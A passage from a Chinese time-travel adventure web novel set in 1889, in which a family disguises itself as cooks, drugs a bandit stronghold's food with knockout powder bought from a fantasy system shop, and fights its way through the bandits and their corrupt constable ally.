赖子,也是村里有名的无赖上前,咧着嘴笑:“是啊!是咱村里大名鼎鼎的宋童生!” 这话一出,顿时跟这俩一伙来的人群里爆发狂笑。 宋守言陪着笑,当作没听见其中的嘲讽和不屑。 笑吧笑吧,只要别动手笑多长时间都行。 知道人不是跑了,土匪松开温向生。 他环视一圈在场人,主要是院子外头围观的村民,高声道:“我们沙大当家放了话,三天之内一定要见到人!死要尸活要人!否则就要这家人拿命来赔!” 说到这里他停了停,接着用更高的音量通知:“要是这家人也不见了,那就只好要全村的人拿命来赔了!” 宋守言当即暗道不好。 有这番话,他们怕是走不了了。 跟来的村民们沉着脸,再看温家的眼神已经完全变了。 那不是在看朝夕相处的村邻的眼神,那是在埋怨,那是在愤恨,那是在看仇人,那是只能你们去死…… 土匪带着混混们离开。 村民也各自散去。 但偏僻的温家附近,却多出数道目光盘旋。 宋守言连口水都没顾上喝,匆匆奔去镇上,直奔镖局后面街上的小院。 他砰砰砸门,“周凯!一荣一茂!快开门!” 高壮的半大少年打开门,“舅舅!” 宋守言踮起脚拍拍外甥肩膀,“你爷爷他们来没来?” 小院东侧屋的窗户从里推开,温老汉探出脑袋,“咋跑这满头大汗?快进来暖和暖和!” 宋守言快步进屋,“出事儿了,苒丫头和霍家小子还没到吗?” 宋守言三言两语道出晨早那次风波,满屋子人脸色皆变。 温一茂胸膛剧烈起伏,呼吸粗重,猛一拳锤向墙壁,“大不了跟那帮土匪拼了!” 温老汉抓起手边茶碗砸过去,喝道:“你拼你拿什么拼?你烂命一条拼没了除了我们几条烂命替你抹泪还有谁在意?给我滚出去吹风醒醒!” 温一茂缩着脖子,老老实实出去吹风冷静。 门打开。 门关上。 砰—— 门从外面重重推开砸在墙上,屋里众人吓一跳。 温一茂指着门口,惊喜道:“三妹来了!我听到她的声音了!” 温老汉闭闭眼,这孩子能把人蠢死。 他大吼:“那你还不快些去开门?!” 不多会儿,周凯去开院门,迎进来两人和一辆满满当当的骡车。 满满的骡车很吸引人,但现在大家都顾不上这个。 温老汉拉过三个孙子孙女,连同便宜女婿一起,不舍地同她们嘱咐:“独木难支你们兄妹往后要互相扶持,就跟你们爹娘一样,知道吗?” 温苒忍不住开口:“爷爷你——” 温老汉打断她:“先听爷爷说,往后你们拿不准的就去问你们宋叔,他和周凯跟你们一起去关外,你们敬他要跟敬爹娘一样,知道吗?” 温苒再次开口:“爷爷我——” 温老汉崩溃泪奔,擦眼泪的手不停颤抖,也再次打断她:“不许说爷爷不爱听的话!” 温苒:“……” 这老头儿现在是听不进去一点儿了。 温苒转头叫上两个堂兄,和宋守言周凯舅甥俩,让二伯二伯娘看好老头儿,她们去别的屋商量。 进屋关门,温苒直截了当:“我们要进山!混进土匪窝下毒!” 温一茂想也不想就道了声:“好!加我一个!我早就受够了!” 温一荣绷着脸,“也加我一个。” 家里人成天为此提心吊胆,庄稼被毁院墙被扒,甚至被逼得要背井离乡逃亡关外,而现在竟然连逃都逃不了,他身为长孙身为长兄,难道他就无动于衷吗? 半大小子周凯挠了挠头,悄咪咪瞥了眼舅舅,出声道:“那我也一起,我带你们进山!” 众人望过来,他解释:“镇上酒楼的大厨被土匪掳走给他们做饭,我刚好认识那厨子的徒弟,我们可以扮作他的徒弟混进去。” “而且开年后我跟着镖局师傅走了趟镖,如今我的拳脚功夫使得很不错。” 听见这话,温苒从霍骁北随身带的挎包里掏出一袋两斤的蒙汗药,哐砸在桌上,“这是药!” 时间紧现做来不及了,这是她在系统商城现买的,这个浓度这个剂量别说几十个土匪,鲸鱼来了也得沉底。 药有了,混进去的办法也有了,那还等什么? 五个年轻人齐齐转头,目光汇聚在一直沉默不语的宋守言身上。 温苒:“宋叔!” 宋守言胳膊往后抽出烟斗塞嘴里,没加烟絮也没点火,干叼着思考。 “你们想好了,去了很可能是个死,不去咱们立马动身去关外,照样也能活得好好的!” 温一荣开口,嗓音干涩,话语却掷地有声:“要我抛下家人替我去死我才能活着,那我就是猪狗不如!是个畜生!” 温一茂重重点头,“对!我才不当畜生!大不了就是个死,我死也要拉个土匪当垫背的!” 宋守言笑了,笑声畅快,“那还等什么?赶紧去啊!家里人有我看着,你们早去早回,回来咱们就动身去关外!” 他起身,背着走往外走,“就这么说定了!” 五个年轻人对视,温苒一个眼神,大家不约而同围到桌子前面。 温苒开口,有条不紊地安排计划:“小凯你带大哥去找大厨的家人……” ** 温一茂生的人高马大,和霍骁北齐头了都,饭量大力气也大,这俩人出去‘采买装备’运回来。 自然说是采买,实际上是霍骁北从系统包裹里攒的库存中挑选。 周凯和温一荣找到大厨家说服对方配合,他们扮作大厨的徒弟和家人进山,到时他们留下另有目的,而大厨和他的儿子可以偷溜下山。 下山后,大厨一家是留是逃就不归他们管了。 下晌,五个人在小院汇合,做最后的伪装。 温苒顶着一头狗啃的短发给四个人上妆,转身的时候露出后面短短的鼠尾辫。 一个涂白,一个脸上画上长疤,一个头发弄上简易的白色挑染,一个眉毛加粗,另外边边角角的细节也修饰出来,力图亲爹亲娘来了都要迟疑着不敢认。 弄好后五个人带着装备出发,先和大厨儿子汇合,然后直奔梅岭山。 暮色降临,一行人才到达梅岭山脚下。 最后核对 一遍待会儿的计划流程,确保无误后,上山! 土匪的山寨建在了半山腰上,是个四进的大院子,日落后除了两个开大门的,其余人都去灶房开饭了。 大厨的儿子挎着大包小包,深吸一口气,战战兢兢上前,“两位爷。” 两个看门土匪各占一边门框靠着打瞌睡,闻言懒洋洋睁开眼,“哟你们这些人是?” 大厨儿子说明来意:“家父先前是镇上酒楼的厨子,多日前来府上灶房做工,家父一向身体不大好,家母担忧家父身体,就让小的过来送几件衣服。” 做工?做白工吗? 土匪听了这话抱着肚子直笑,“你这人说话还挺好听,行了你进去吧,这些人跟你一起的?” 他眯着眼望向后头一群人。 霍骁北闻言上前,“我等是师父的徒弟,师父有事弟子服其劳,我等商量后前来投奔师父。” 嚯! 两个土匪一下来精神了,知不知道他们这儿是土匪窝?旁人躲都来不及你们上赶着来? 不过,土匪咧嘴笑了笑,笑得不怀好意,“还挺孝顺,行了,一起进去吧。” 几个厨子而已。 一行人顺利过关。 不多时,土匪大院外又有几人出现。 看门土匪就地咕噜一下爬起来,恭恭敬敬喊:“大当家。” 沙麻金点点头,随口介绍身旁的男人,“这是县衙的刘捕快,今天的贵客。” 两个小弟规矩地问好。 沙麻金和刘捕快进了大门,两个土匪隐约听到身后传来大当家的声音:“镖局下一趟出镖的时间确定后,麻烦刘兄弟派人过来捎个信,事成之后沙某定会重重有谢!” 刘捕快抱拳拱手,笑着道:“好说好说!” 没想到这土匪头子的日子过得比县太爷也不差什么,出入有仆从随行,还住着这般大的宅子,下人们—— 哎? 这个下人怎么瞅着这么眼熟? 第36章 第36章1889从闯关东开始6…… 院墙拐角处,周凯猛地缩回脑袋,整个人绷直了贴在墙上犹如惊弓之鸟一般。 见前面不走了,温苒扒着霍骁北手臂,踮起脚从他身后探出脑袋来询问:“怎么了?” 周凯两个手背来回抹拉脑门上的冷汗,大喘着气压低声音说:“我看到了县衙的刘捕快,他也看到我了,我担心他认出我来?” 十几年的**直隶百姓哀鸿遍野,周凯的父母也死在了那场天灾中,时不过三岁的周凯被失去妻儿的舅舅宋守言收养。 舅舅宋守言是个童生,周凯自然也读过圣贤书,识文断字不在话下,进镖局做工后文书算账相关的事务他多有涉及,时常跟师傅们去衙门登记办理文书,因此和衙门的吏差混得很熟。 这刘捕快就是镖局的镖头在县衙里交好的一员,他怎么会在这里? 周凯眉头皱成小山,忍不住抻头回看了一眼。 那群人已经走远,拐进月亮门很快不见了身影。 大厨儿子听见周凯这话吓得腿直哆嗦,急吼吼地转身,“那还不赶紧跑?” 温苒飞快把他拽回来,“慌什么?慌慌张张的让土匪看到了会疑心,先冷静,我们去找你爹。” 一行人朝着院子上方的炊烟寻过去。 路上温一茂安慰大厨儿子:“大男人别这么孬,脸都白成这样了,来之前不就知道这是土匪窝,有命出去是咱捞着了,没命就干他丫的!你可是来救你爹的!我小弟都没怕你怕个蛋啊?” 温小弟苒:“……” 不会说话就别说。 她扭头拽过周凯来询问,“确定这里来了县衙的捕快吗?” 周凯紧了紧肩上背的包袱,用力点头:“确定!先前我们镖局的师傅还请对方吃过饭,我在席上给他们倒酒,不会认错的!” 温苒绷着涂得黢黑的小脸,神情严肃起来。 周凯的心脏瞬间提到嗓子眼,他吞了吞口水,急于求证:“刘捕快看到了我,但他没过来,是不是没把我认出来?” 温苒摇头,“不管认没认出来,待会儿咱们到了灶房你都躲好别露面。” 周凯忙不迭点脑袋:“我肯定躲好!” 他们到时,灶房里大厨还独自忙活着。 这窝土匪数量不少,个个好斗争胜,每餐都要干一桶饭。 偌大的灶房就酒楼大厨一个人呢,这几日回回到了饭点铲子都得挥冒烟,一天下来胳膊都不是自己的,加上提心吊胆地睡不好吃不下,半个月下来他的大肚腩都消下去了一半。 因而一见到来的这几人,大厨就痛哭流涕到不能自已。 别说让他认徒弟,让他认孙子、让他当孙子都行! “都先别说了,前头兄弟们等吃饭呢。” 大厨也没当场说就要走,抄起锅铲继续翻炒,顺手点点这个那个都安排上活计,还和温苒等人介绍这边的情况。 “这山上的土匪约莫有三头四十,十来个很能打的,都杀过人。” “这么些土匪只有个大当家拿事,大当家手上有把枪,据说是在天津卫杀了个洋人,从洋人身上摸来的。因为这事大当家怕被抓住,一路逃一路收了这么些个兄弟才到咱这边来。” “我每天就给他们做做饭菜,倒也没啥人过来找事儿。” “这院里除了我是被掳来的,旁边小院还关着几个女人,听动静也是被抢来的。” 大厨压着声音唯恐被土匪听到他在蛐蛐,一边讲他眼睛一面滴溜溜转着张望。 “你们商量好,待会儿上饭上菜出两个人跟我一起去前头。” 出两个人,温苒拨拉一下队友,不自觉皱起脸。 二哥性子憨直,说傻是真没到那个地步,至少他知道什么时候能动手什么时候要听话,他就是不怎么机灵,在土匪窝里绝不能让他单独行动。 大哥倒是能随机应变,但他武力值不高。 周凯拳脚功夫不错,但有刘捕快在,他能不露面就不露面的好。 霍骁北怎么着都可以。 温苒是有点问题,她不能撒谎,她一撒谎就容易结巴脸红,虽然现在脸涂黑了,但这是土匪窝,万一有个万一那可不完犊子了? 所以能担事的霍骁北和大哥温一荣得一边一个。 饭菜出锅装好,饭菜之外是几桶蛋花汤,汤里拌了两斤蒙汗药,谁喝谁倒。 温苒做下决定:“霍骁北你和二哥跟师傅去送饭。” 霍骁北皱眉,“你跟我一起。” 温苒推他,“你放心,如果来人就让大哥应付,不会有事儿的。” 正说着,外头来人了。 腰上挎着大刀的土匪踢开门骂骂咧咧:“人呢?” 一瞅屋里这老多人,他愣了下,疑问:“你们是新来的厨子?” 大厨提着心脏往前,“是是是,这些是我徒弟,过来投奔我。” 大厨这么说,土匪没有丝毫怀疑。 毕竟他怎么也想不到,这区区几个人敢主动进土匪窝要他们的命! “那感情好,我们沙老大要请客,你赶紧带他们弄一桌好饭好菜呈过去!” 土匪说完转身就走。 人一走,大厨父子俩齐齐抬手抹汗。 大厨挥手,“快走,咱们把饭菜送到得赶紧回来准备大当家要的席面。” 周凯赶忙出声:“要不我去送吧?他们要请的客人应该是刘捕快,刘捕快和大当家在一起,我去给别的土匪送饭正好能错开。” 霍骁北马上让出机会,“你和大哥一起。” 大厨催促,“快别磨蹭,我们去送饭菜,你们赶紧把其他东西拾掇出来!” 温一荣和周凯抱起饭桶跟上,送饭组三人急匆匆送了一趟又一趟。 这边为了赶时间,未经大厨允许,霍骁北拿起大勺掌上了灶。 土匪一路烧杀抢掠积累的财富惊人,单是灶房里就堆满了肉蛋鸡鸭大米白面,还有稀罕的山货海货,各种食材应有尽有。 回锅肉辣子鸡麻婆豆腐地三鲜…… 大厨送完饭菜回来,见已经出锅这老多菜,下意识涌上领地被侵犯的愤怒,待闻到个中香气忍不住抽出筷子品尝。 这味道,好吧 ,他原谅这个以下犯上的‘徒弟’了。 大厨品着菜式,再抬头看霍骁北眼睛里放出光来,好苗子啊! 温苒看他不经允许就夹菜吃,不由庆幸,好悬她还没放蒙汗药呢。 先前挎刀的土匪过来催促,闻到满屋子的菜香夸了两句大厨的手艺,拉长的表情舒展开来,“我先端两盘,你们搞快点!弄好就赶紧上!” 许是听说这边新来了几个厨子,接下来陆续有三五成群的土匪过来点菜。 天色昏暗下来,但她们要做坏事,以防被瞧见就只开了门没开窗,另外屋里点了许多蜡烛照明。 土匪们点完菜离开,温苒看到门外他们方向一致,结伴去了隔壁。 大厨瞧见了,说道:“是去找被他们抢进来的女人们的。” 温苒皱起眉,余光瞥见一个衣着体面挎的刀格外不同的男人往这边靠近。 男人走进来,视线先绕着灶房转一圈,在看到周凯时,眼神顿了顿,“你们都是镇上酒楼的学徒?我怎么没见过你们?” 周凯死命垂着脑袋,生怕被认出来。 温苒猜到来人的身份,暗道糟糕,这劳什子刘捕快不等着吃席来灶房做什么? 大厨是酒楼的一厨,这刘捕快是酒楼常客,自然两人也是认识的。 大厨紧张地搓着手,脸上的肥肉因恐惧而颤抖,不知道该怎么狡辩。 霍骁北放下勺子,镇定自若地回复:“回这位爷,我们先前就想拜师孝敬,但酒楼学徒是有定数的,师父有心却无能为力。近日听闻师父另谋高就,手下还未有徒弟孝敬,我们几个便收拾刀板前来投奔。” 大厨:“……” 大厨佩服得五体投地,这小子的嘴皮子咋没长他身上呢? 大厨对着刘捕快飞快点头,“是这样的刘大人,我这徒弟有两道拿手菜很不错,待会儿您一定要尝尝!” 刘捕快板着脸,眼睛一转,视线落在某处,“这人是?我看着眼熟,也是你刚收的徒弟?” 他看的方向正是周凯。 被刘捕快探究的眼神锁定,周凯脑子一片空白,胸口心脏狂跳几乎要冲出来。 “大、大人求您别赶我老叔走!” 温苒紧张局促的嗓音忽然响起,“我老叔年纪大了,没儿没女的,跟着我们一起拜师就是想混口饭吃,绝对不是我们故意骗师父的!” 她不会说谎的缺点,这时反倒成了优点,紧张是真的,心虚也是真的。 加上周老叔凯顶着一头挑染半白的头发,年纪上也很有说服力。 但刘捕快疑心重,他总觉得这个老叔很眼熟,先前进来时瞧见一次,刚才路过饭堂看到这人走路的姿势就更眼熟了。 他疑心是哪个犯了事的,盘算着抓住了回去衙门领赏钱,所以才过来这么一趟。 大厨适时出声,配合地发火:“他是你老叔?你们刚才可不是这么说的!你们说他是少白头,人年纪不大,只是长得着急而已!” 二哥温一茂这时不知道犯什么机灵,猛一拽周凯,两人突然下跪:“师父您行行好!别赶我们走!” “你们!你们!”大厨气愤地指着两人,说不出来话来干脆背过身去,“山上人手不够,我就留下你们,但是下不为例!” 温一茂赶紧拽着周凯哐哐磕头,“多谢师父!多谢师父!” 大厨抹把脸,转向刘捕快,赔着笑道:“让刘大人见笑了,他们刚来还不熟悉,这才耽误了沙大当家要的席面,我待会儿狠狠教训他们,劳您和大当家稍等片刻。” 刘捕快神情微松,点了点头,背着手转身往外走。 众人见状正要松口气,却见他倏然回头,抽出大刀快步朝地上跪着的两人靠近。 刀尖指向周凯,刘捕快眯起眼,“你,抬起头来。” 第37章 第37章1889从闯关东开始7…… 周凯浑身僵硬冷汗直冒,大脑完全不知道思考。 听见命令,他下意识跟着动作,竟真的要抬头。 温苒一看不好,手往背后伸,借着昏暗光线从系统包裹里取出电棍,用尽全力抡起来—— 电棍带起风声,刘捕快耳朵动了动,刚要回头手腕却被一股大力捏住。 温一茂发了狠,用他一顿八个菜窝头的力气,几乎要捏碎手下的骨头,接着趁对方疼痛松力,成功夺走大刀。 周凯关键时刻回神,唯恐对方喊出声来,拔下靴子就塞到对方嘴里。 而这时,长棍已至,砰—— 温苒一击即中后脑勺。 刘捕快嚯地瞪大一瞬眼睛,随后眼皮坠下,身体像摊烂泥一样软倒。 咚—— 砸在了地上。 霍骁北反应最快,抄起擀面杖飞身跃过灶台,赶紧照着刘捕快后脑勺补了一棍子。 温一荣紧随其后反应过来,身形如电,眨眼间越过怔愣的大厨父子蹿到门口。 确认没人看到,关门,然后回头抹汗,“现在该怎么办?” 短短不到一分钟,五个人配合默契,完成了关门打狗的临时行动。 虽然关门在后,打狗在前。 这时大厨父子恍然回神。 看到趴在地上不省人事的刘捕快,愤怒涌上大厨心头,他懊恼地埋怨:“你们、你们怎么能这么对刘捕快?等他醒过来我们一个都走不了!” 温苒踢了踢地上晕死的刘捕快,冷声回道:“那就不让他醒过来。” 灶房陷入死寂,一时只有此起彼伏的沉重呼吸。 就在这时,安静的环境里闯入一簇脚步声。 气氛瞬间紧张起来。 温苒给了霍骁北一个眼神,他弯腰薅起刘捕快的后衣领,拖到灶台后面,而后面无表情地加火炒菜。 二哥温一茂飞快把夺来的大刀藏粮食袋子后面,和周凯继续揉面切菜。 砰砰—— 门从外面被敲响。 “人呢?怎么还关门了还?” 温一荣下意识去看温苒,温苒冲他点了点头。 温一荣张开汗涔涔的掌心,用力在衣服上抹了两下,深吸一口气拉开了门。 门外来人一把推开他,怒冲冲进来,“菜呢?我们大当家等着请客呢!都这么长时间了还没弄好你们是白吃干饭的?” 脚边是晕倒的刘捕快,霍骁北淡定地挥着锅铲回话:“席面的菜式原本都做好了,只是刚才来了几个兄弟不由分说带走了一半,兄弟们有刀,我们不敢拦着。” 土匪脸色变了变,偏头呸了口唾沫,骂道:“什么玩意儿也敢抢大当家的东西?活腻歪了!” 他骂完看向霍骁北,“你们接着做,动作快点!做完就赶紧端过去,别磨磨蹭蹭的!当心老子砍了你们!” 土匪说着抽出刀,对着众人威胁。 放完话土匪这次也不走了,好似是怕再来不长眼的,再顺走沙麻金宴客的菜式。 他挎着大刀迈步来到桌子跟前,撤开条凳一屁股坐下,就盯着一众人开始了监工。 他这一动作把大厨父子吓够呛,连忙够着眼睛去瞥灶台后头。 要知道这灶房可没多大,桌子正对着大门,也正好在灶台侧前方不远的位置。 万一这个土匪注意到…… 父子俩个不约而同地吞了吞口水。 两人行为鬼祟,眼神不住往土匪身上瞄,那土匪也不是个傻子。 相反土匪是把脑袋别在裤腰带上过日子的,再是迟钝也察觉到了不对劲。 他蹭一下站起来,薅住大厨儿子的衣领带到跟前,表情凶狠,“你们在看什么?” 父子两人煞白着脸疯狂摇头,“没没没、没看什么!” 土匪抬脚踹开这父子俩,抽出刀大步越过灶台。 这时靠近门口的温一荣飞快关上了大门,并确认无人靠近。 土匪来到灶台后面,低下头一瞅登时面色大骇,“你呃呃呃呃——” 一阵不正常的抽搐后,土匪眼睛上翻,口吐白沫栽在地上。 霍骁北举起电棍,照着这个土匪的后脑勺,像给刘捕快一 样也利索地给他来了一棍子。 大厨抽抽鼻子,有刘捕快打底,敲晕土匪好像也不是什么十分令人惊讶的事情。 他甚至主动说道:“墙角有个地窖。” 温一荣看着大门,温一茂和周凯配合着把人扔进地窖。 扔下去之前,周凯抽出大刀利索地抹了两人脖子。 血线飙出,呲了最近的温一茂一脸。 他愣愣地望着周凯。 周凯把两个死人踢下地窖,回头直视在场所有人的眼睛,“我走镖的时候就杀过人,下不了手就让我来。” 温一茂扯起袖子用力划拉脸上湿热的地方,直愣愣问:“你都杀过人了,刚才为啥怂成那样?” 周凯:“……” 周凯幽幽说道:“那还不是怕咱们的计划失败,这里这么多土匪,杀的人可比我多得多,万一刘捕快认出我来把他们都喊过来怎么办?” 周凯看向温苒,在心里庆幸还好三姐当机立断。 之前接连打晕刘捕快和土匪大厨父子都没什么,但周凯如此干净利落地抹了两个人的脖子,大厨父子从心底涌上一股寒意,嘴唇发白声音哆嗦:“咱、咱们得快、快点上席面了……” 周凯沉默着回到案板前,一言不发继续切菜。 大厨父子俩偷瞥向他、瞥向温苒一行的眼神带上了惊恐。 几人的情绪明显不对,霍骁北一边炒着菜,徐徐开口:“身为官府小吏,刘捕快却和土匪关系匪浅,官匪勾结不是什么好东西,该杀。” 大厨父子沉默,众人也沉默。 霍骁北继续说道:“这里每一个土匪手上都有人命……” 温一荣语气发寒:“也该杀!” 话说出口,温一荣就像打破了什么桎梏,通身气质染上凌厉,“不是所有土匪都喝过下了药的汤,总有漏网之鱼,待会儿我带二弟和周凯四处清理。” 他一一和在场人对视,告诉大家:“我也会杀人,但我只杀该杀之人,只杀欺辱我家人之人。” 温一茂叫他大哥这话说得热血沸腾,但他又说不出这样漂亮的话来,哼哧哼哧半晌憋得脸都红了憋出一句:“我也是!” 温苒:“……” 温苒抬起下巴,一副‘你们这都不算什么’的神情:“说这么多,第一个动手的还不是我?” 众人沉默,你别说你真别说,这丫头当时那一下果真是雷厉风行,把在场人都震懵了。 一片安静中,霍骁北说道:“今日你我身陷匪窝,不是他们死就是我们亡,别无他选。” 大厨儿子哼唧一声,抹着泪哭道:“我不想死,我想带我爹出去,我山下还有老娘还有妻儿要顾,我不想死……” “那就让他们去死!” 大厨厉声喝出这样一句后,仿佛卸了口气,突然整个人一松,笑着道:“我们父子今天就跟各位壮士混了!能出去是白捡一条命,留下来那也不枉此生,待会儿我定要拽几个土匪当垫背的!” 儿子拽了拽老子,“爹你……” 大厨压下儿子的手,“咱没本事咱就跟着有本事人走,不会错的!你跟我掂了这么些年大勺臂力不差,过会儿打起来不要连你老子都比不过!” 接连几番话让逼仄的气氛活跃起来。 至此,队伍里所有人统一了目标:杀一个不亏!杀两个大赚!捣毁土匪窝!一个活口不留! 顿时灶房里所有人浑身气势蜕变,几个大男人个个目露凶光。 当然温苒和霍骁北除外。 在大家都沸腾狂躁的时候总需要有人保持冷静。 接下来一秒不敢耽搁,一行人火速准备好下了药的席面,兵分两路出动。 这么长时间蒙汗药也该起作用了,那汤只要喝上一口少说也得晕十天半个月。 十天半个月不吃不喝地昏迷,即便能醒来也几乎不可能活下去。 温一荣送过饭他清楚,几乎每个土匪都至少喝了一碗汤。 现下整个土匪窝里,除了个别漏网之鱼,恐怕只有还在等席面待客的沙麻金睁着眼。 温苒和霍骁北跟大厨父子去送席面。 温一荣和温一茂周凯三个,一手刀一手棍,背着装备袋子坠在四人后头。 沙麻金待客的地方在第三进的正房,这也是沙麻金个人的寝院。 四人拎着饭盒排成一队,经门口的土匪指示把饭菜摆到了堂屋的大圆桌上。 霍骁北余光扫过院子,对地形和对方的人数有了清晰的了解。 沙麻金身形魁梧高大,上了点年纪约莫有三十多,相貌却意外的白皙斯文,不过即便如此也不会有人忽略他满身的血腥煞气。 他落座主位,看着席面的菜色满意点头,招手让大厨上前,“今天做得不错,听说你山下的徒弟们过来投奔你,就是这几个?” 大厨腆着笑,“回大当家,这三个,还有另外三个,现下在灶房里给兄弟们加餐。” 沙麻金顿时更满意了,“都是孝顺孩子,回去你也弄一桌席面,当作给他们接风洗尘,往后在山上好好干,我沙某不会亏待你们。” 温苒垂着脑袋,无语地翻了白眼。 大厨来了半个月一直住在灶房,连自己的房间都没有,这都算了,工钱也没说给,你这叫不亏待? 沙麻金耍完老爷气派,挥手让他们退下。 大厨带着人往出走,刚走到院里却被喊住:“停下!” 大厨转过身挤出笑来,“大当家可还有吩咐?” 沙麻金沉着脸,起身快步来到近前,微眯起眼目光锁定走在最后的霍骁北。 沙麻金挥手叫来一个手下,指着霍骁北:“你去试试。” 他说完,后退一大步。 手下二话不说照着霍骁北一拳砸上去。 霍骁北飞快闪身避过,拽着温苒,温苒拽着大厨父子,四个人齐齐后退。 沙麻金脸色一变,嗖嗖往后退,“来人!有敌袭!” 院里七八个壮硕土匪立时抽出大刀围过来,沙麻金则匆匆转身奔入屋里。 温苒一看不好,沙麻金可能是去取他的枪了,仰头放声尖叫:“大哥二哥周凯!” 垂花门外,听见呼唤三个身影加快脚步飞速靠近,争先恐后冲进了院子。 甫一踏进院子,入目就是土匪包围队友的场面。 温一茂登时红了眼,拔腿冲上前,率先给了不知道哪个土匪一刀。 鲜血迸发出来喷在脸上,衬得他双眼更加猩红,他心里只记得小妹说过的话:砍手卸刀,腰斩戮颈取命,死尸挡刀…… 温一荣和周凯也迅速加入混战。 大厨父子收到队友分的大刀,也冲进战场。 包围圈瞬间溃散。 自己这边简直杀疯了,温苒和霍骁北悄悄退出,来到正房…… 第38章 第38章1889从闯关东开始8…… 夜已深。 冷风穿林呼啸而过,几声狼嚎从不知哪个方向荡过来。 月色明亮,刀光剑影之中,霍骁北护着温苒离开混战,停在正房的台阶下,“你去找地方躲一躲。” 温苒鼓着腮不服气。 躲什么躲?进攻才是最好的防御! 霍骁北能不清楚她那小脑袋瓜儿里在想什么,不由分说地揽上她的腰,抱起来转身就走。 温苒愣了下,回过神手脚胡乱挣扎,“你放我下来!那个人去拿枪了,不能让他出来!我们趁现在把门窗锁上,放一把火就能解决他!” 霍骁北不听,继续抱着她手起刀落顺道取了某个土匪的性命,接着把她推给温一荣,“你带她先走。” 他丢下这句,转身飞快冲进堂屋,身影没入的同时反手带上了门。 温一荣接住温苒,顾不得抹一把脸上的鲜血,边后退边冲霍骁北的背影高喊:“我们就在门口!你随时叫人!” 屋内门窗紧闭,惨淡的月光穿过明纸洒在地上,是不同于外面 的死寂安静。 而就是这样的环境中,一个杀人如麻的匪首悄无声息地藏匿在某处,好似融入进了这间屋子里,叫人难以寻觅到踪迹。 敌在暗,霍骁北自然不会大咧咧站到明处。 他身形轻巧地没入阴影中,凭着过人眼力和耳力锁定了一道气息。 砰—— 温苒刚站稳就听到一声枪响从屋里传出来,心脏像被狠狠攥紧仿佛停止了跳动,大脑一片空白,无尽的惶恐席卷而来。 她怔怔回头,视野中两扇紧闭的大门渐渐变得模糊遥远。 温一茂两把大刀挥舞得虎虎生风,一左一右干掉最后两个土匪,看了眼堂屋大门,叫上周凯和大厨父子一起往外退。 温一茂虽不清楚便宜妹夫的拳脚功夫到底如何水平,但他晓得这个妹夫心有成算,不会无的放矢。 妹夫既叫他们带着小妹先退,那他们就把小妹护得好好的,好教对方放心。 温一茂把大刀扔给周凯,追上大哥温一荣,从他手里接过温苒扛在自己肩上。 不是他说,大哥那点抓鸡的力气还是留着待会儿下山赶路用吧。 于是月色下,四进的四合院里一米九大汉扛着身形纤瘦的人影沿着院墙狂奔,而在大汉身后还追着四个刀棍齐全的大汉。 不清楚的人看到,当真不晓得谁才是土匪了。 某个拐角后,三个衣不蔽体同样沿着墙角小心翼翼躲藏追捕的瘦小身影,就这么眼睁睁地看着一行人一前一后追着跑了。 三人瞧见,顿时吓得挤成一团。 “我们不、不能往前走了,前面也有土匪……”其中一道声音发着颤,说着回身就要跑。 另一道声音哑着嗓子:“后面也有土匪。” 三人:“……” 前有狼后有虎,绝望顿时涌上心头。 这时追赶着的一行人中,温一茂猛地刹住脚站定,皱巴着脸往回走,“大哥你快来,快把小妹的嘴掰开,我怕她再咬下去把牙给崩断了,还没成老太太呢牙就断了可怎么行?” 被颠得肚子生疼而回过神来后,想到霍骁北丢下她的举动气得脑子不清楚,张嘴就咬下去却跟磕到石头一样的温苒:“……” 行!你了不起! 她松开崩酸的牙,嫌弃地呸了两口,挣扎着从温一茂身上跳下来,“二哥你多长时间没换衣服了都馊了!” 温一茂挠头,挺着胸膛一脸憨厚,“那我也不知道啊,我又没尝过!” 温苒:“……” 想到先前这二哥在制住刘捕快的关键时候大发神威地助攻,又在团战中一人当关万夫莫开的压倒性战斗力,她不得不怀疑,这人一直憨厚敦实的样子真不是在扮猪吃老虎吗? 这时后头四个人姗姗来迟地追上来。 常年缺乏运动的胖乎乎大厨父子沿着墙根儿瘫坐下,大喘着气一句话都说不出来了。 温一荣面色发白,倒还能稳得住,但也说一句喘三下,“你、你跑这么、远、这么快做什么?” 周凯也不轻松,他虽然年纪不大,但刚才混战中的战绩仅次于温一茂,他在心里感慨这温家二哥的个子力气果然不是白长的。 “沙麻金有枪,姐夫一个留在那边,少不得什么时候就需要咱们帮助,咱们跑这么远不行啊!” 温一茂这时候又成真憨了,“啊对对对,我这不想着带小妹跑远点安全么,就把这个给忘了,那咱们快赶回去!” 他说着转身去找温苒,就见温苒绷着黑黢黢的小脸,站在距离他很远的墙角阴影里,通身散发着寒意,面色阴晴不定,咬牙切齿一般说道:“他想逞英雄就让他自生自灭去吧!” 然后转身就走。 虽然但是…… 温一茂不长眼地开口,“小妹你走错了,那是回去的路……” 话没说完,就被温苒回头瞪了一眼,疑似恼羞成怒地大吼:“你闭嘴!” 温一荣拽温一茂的手刚举到一半,他:“……” 他真是,活该这憨货不招待见。 于是一行人刚喘口气,就得顺着原路返回。 经过刚才拐角的岔路,温苒余光率先瞥见三个鬼鬼祟祟的身影,“站住!你们是谁?” 刚才三人商量过后打算就地歇息,还没多会儿就听到一阵脚步声,便猜测是先前路过的土匪折返回来,慌慌张张要跑,结果刚好被急不可耐去找霍骁北的温苒撞见。 听到喝止声,三个人影顿时僵在原地,心里升起疑惑,这分明是道女声? 这里怎么会有别的女人? 三人中胆子最大的转过身来,借着明亮月色向开口之人瞧去,结果却只看到一个黑面少年。 不是女声吗? 而温苒身后,五个人一听她似乎遇到了旁人,唯恐有什么危险赶紧匆匆追上来。 抻头一瞅,没有什么土匪,是三个衣衫褴褛的瘦弱女人而已,众人顿时想到了她们的身份。 大厨说道:“她们应是我先前说的被土匪掳来的女人。” 温苒在看到回话的是个女人后,当即也就明白了对方的身份。 她想了想,指着大厨说道:“他跟你们一样,也是被土匪掳上来的。” 大厨:“……” 三人:“……” 虽然其实,这掳和掳还是不一样的。 温苒急着去找霍骁北,快速同她们解释:“我们不是坏人,四处晕倒的土匪是因为吃了我们做的饭菜,我们现在要去找土匪的大当家,等处理完这里的事会下山,不介意的话你们可以稍等片刻随我们一起。” 三个女子被温苒话里的信息量给惊到瞠目结舌,久久无言不知道该说什么才好。 却见温苒说完抬脚就走,为首的女子只好一左一右拽上两个伙伴紧跟上,“小壮士,我们愿意!” 温小壮士苒脚底险些打滑,稳住身形后赶紧加快步子奔向主院,她怕去晚了只能见到缺胳膊断腿的霍骁北。 从前怎么没发现这人还有逞英雄的坏毛病? 